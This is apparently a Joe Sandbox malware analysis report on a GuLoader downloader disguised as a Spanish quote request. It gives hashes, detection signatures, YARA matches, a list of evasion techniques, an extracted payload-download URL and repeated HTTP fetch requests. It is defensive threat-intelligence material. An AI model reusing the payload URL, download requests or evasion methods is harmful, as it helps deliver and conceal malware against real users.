Edit tour

Windows Analysis Report
Solicitud de presupuesto.exe

Overview

General Information

Sample Name:	Solicitud de presupuesto.exe
Analysis ID:	830606
MD5:	e6f54ce2be4854fdca9c97450c347a2c
SHA1:	f609993ae9cace1abf742553a12a21852d363d5d
SHA256:	69e3a2462654341256f2feb5c86c1c8bb514d9ab97a02917cd22640c1474cac9
Infos:

Detection

GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Potential malicious icon found

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

GuLoader behavior detected

Yara detected GuLoader

Hides threads from debuggers

Tries to detect virtualization through RDTSC time measurements

Contains functionality to hide a thread from the debugger

C2 URLs / IPs found in malware configuration

Yara detected VB6 Downloader Generic

Machine Learning detection for sample

Contains functionality to detect hardware virtualization (CPUID execution measurement)

Uses 32bit PE files

Yara signature match

Antivirus or Machine Learning detection for unpacked file

Sample file is different than original file name gathered from version info

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Contains capabilities to detect virtual machines

Sample execution stops while process was sleeping (likely an evasion)

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Creates a process in suspended mode (likely to inject code)

IP address seen in connection with other malware

Contains functionality for execution timing, often used to detect debuggers

Classification

Process Tree

System is w10x64

Solicitud de presupuesto.exe (PID: 5800 cmdline: C:\Users\user\Desktop\Solicitud de presupuesto.exe MD5: E6F54CE2BE4854FDCA9C97450C347A2C)

Solicitud de presupuesto.exe (PID: 1352 cmdline: C:\Users\user\Desktop\Solicitud de presupuesto.exe MD5: E6F54CE2BE4854FDCA9C97450C347A2C)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://blog.malwarebytes.com/scams/2020/08/sba-phishing-scams-from-malware-to-advanced-social-engineering/ https://blog.morphisec.com/guloader-the-rat-downloader https://blog.vincss.net/2020/05/re014-guloader-antivm-techniques.html https://cert-agid.gov.it/news/malware/tecniche-per-semplificare-lanalisi-del-malware-guloader/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: GuLoader

{"Payload URL": "https://www.mediafire.com/file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file", "User Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.307522232.000000000040D000.00000020.00000001.01000000.00000003.sdmp	LokiBot_Dropper_Packed_R11_Feb18	Auto-generated rule - file scan copy.pdf.r11	Florian Roth (Nextron Systems)	0x1a5c:$s1: C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
00000001.00000000.403982899.000000000040D000.00000020.00000001.01000000.00000003.sdmp	LokiBot_Dropper_Packed_R11_Feb18	Auto-generated rule - file scan copy.pdf.r11	Florian Roth (Nextron Systems)	0x1a5c:$s1: C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
00000000.00000002.404604650.000000000040D000.00000020.00000001.01000000.00000003.sdmp	LokiBot_Dropper_Packed_R11_Feb18	Auto-generated rule - file scan copy.pdf.r11	Florian Roth (Nextron Systems)	0x1a5c:$s1: C:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
00000001.00000002.575875706.0000000000560000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Process Memory Space: Solicitud de presupuesto.exe PID: 1352	JoeSecurity_VB6DownloaderGeneric	Yara detected VB6 Downloader Generic	Joe Security
Process Memory Space: Solicitud de presupuesto.exe PID: 1352	JoeSecurity_GuLoader	Yara detected GuLoader	Joe Security
Click to see the 1 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Solicitud de presupuesto.exe

Avira: detected

Multi AV Scanner detection for submitted file

Source: Solicitud de presupuesto.exe	Virustotal: Detection: 78%			Perma Link
Source: Solicitud de presupuesto.exe	ReversingLabs: Detection: 70%

Machine Learning detection for sample

Source: Solicitud de presupuesto.exe

Joe Sandbox ML: detected

Source: 1.0.Solicitud de presupuesto.exe.400000.0.unpack	Avira: Label: TR/Injector.akytx
Source: 0.0.Solicitud de presupuesto.exe.400000.0.unpack	Avira: Label: TR/Injector.akytx

Source: 00000001.00000002.575875706.0000000000560000.00000040.00000400.00020000.00000000.sdmp

Malware Configuration Extractor: GuLoader {"Payload URL": "https://www.mediafire.com/file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file", "User Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"}

Source: Solicitud de presupuesto.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.16.53.48:443 -> 192.168.2.5:49696 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.53.48:443 -> 192.168.2.5:49750 version: TLS 1.2

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://www.mediafire.com/file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file

Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /file/9yrjccjdow659ow/sala_ziPUQPqut175.bin/file HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
Source: global traffic	HTTP traffic detected: GET /error.php?errno=386&quickkey=9yrjccjdow659ow&origin=download HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: www.mediafire.comCache-Control: no-cacheConnection: Keep-AliveCookie: __cf_bm=4uvYBC02UOd1cKbNPKWfjyZIQa98JqObMjUYB7mrBPM-1679319383-0-ASF0LRFYZ3fzU8W96P06z5pnBdiTkJxi2AmhQl/AOfgCYtpuFMuAJ0hIMtzGtX1cqaWmzpG19QaXcnYy0YKMmuQ=
